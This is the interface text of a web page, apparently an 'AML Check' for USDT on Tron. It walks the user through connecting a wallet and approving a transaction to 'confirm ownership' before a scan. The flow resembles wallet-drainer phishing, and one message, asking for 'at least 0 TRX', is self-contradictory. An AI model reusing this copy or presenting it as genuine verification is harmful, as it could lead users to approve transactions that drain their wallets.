AML Check

Select token

Step 1 of 4

To continue, please select the token

Connect wallet

Step 2 of 4

To continue, select and connect your wallet

USDT in Tron

The selected asset

Confirmation

Step 3 of 4

Confirm ownership of your tokens using wallet

USDT in Tron

The selected asset

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Check in process

Step 4 of 4

We scrutinize your wallet thoroughly

Check failed

Step 4 of 4

We scrutinize your wallet thoroughly

You don’t have at least 0 TRX in your balance for a full scan. Refill your wallet and try again

Check failed

Step 4 of 4

We scrutinize your wallet thoroughly

Transaction failed or user declined request. Token ownership confirmation was not completed. Please confirm your token ownership and try again.

Your wallet has successfully passed the Anti-Money Laundering (AML) check.

To view the detailed results of the check, simply click the button below to download the report in PDF format.

Download check result